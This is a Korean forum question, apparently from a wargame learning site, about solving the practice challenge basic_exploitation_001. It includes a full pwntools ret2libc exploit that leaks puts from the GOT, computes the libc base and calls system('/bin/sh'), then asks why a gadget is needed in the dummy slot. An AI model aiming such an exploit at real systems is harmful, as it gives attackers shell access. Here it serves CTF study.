basic_exploitation_001 ROP 풀이

basic_exploitation_001 문제를 ROP를 사용해서 풀어보고 있는데 의문점이 생겨서 올립니다.

from pwn import *

context.log_level = 'debug'
#p = remote('host3.dreamhack.games', 15998)
p= process('./basic_exploitation_001')
e = ELF('./basic_exploitation_001')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = e.libc

#binsh = 0xf7f3d0f5

puts_plt = e.plt['puts']
puts_got = e.got['puts']
main = e.symbols['main']
#dummy = b'AAAA'
dummy = p32(0x0804864b) # pop ebp ; ret

payload = b'A' * 0x84 + p32(puts_plt)
payload += dummy
payload += p32(puts_got) 
payload += p32(main)

p.sendline(payload)
puts = u32(p.recvn(4))

#print('payload1 : ', payload)

print('puts : ', hex(puts))

libc_base = puts - libc.symbols['puts']

binsh = libc_base + 0x1bd0f5

#print('binsh : ' +  str(p32(binsh)))

system_plt = e.plt['system']
system = libc_base + libc.symbols['system']

payload = b'A' * 0x84 + p32(system_plt)
payload += dummy 
payload += p32(binsh)
p.sendline(payload)

p.interactive()

payload를 작성할 때, ret 주소를 덮어 씌운 다음에 4bytes가 저는 argv[0] 가 들어가있는 자리인줄 알고, dummy로 덮은 다음에 함수 인자 값을 넣어줬습니다. 그런데, 계속 안풀려서, rop gadget 아무거나 찾아서 dummy 자리에 넣어보니까 바로 풀렸습니다.

저 ret 다음 4bytes 공간에 ret 가젯을 안 넣어도 첫 페이로드로 puts got값이 leak이 되는거 보면 dummy를 넣어도 우회가 된다는 소리 같은데, system 함수 호출할 때, ret 가젯을 안넣으면 정상적으로 실행이 안되는 이유를 모르겠습니다.

gdb를 통해서 하드코딩한 binsh 값이랑 libc_base leak을 해서 구한 binsh값이랑 동일하게 나옵니다.

#rop
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장

디엠 드렸습니다.

2023.06.18. 21:45
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기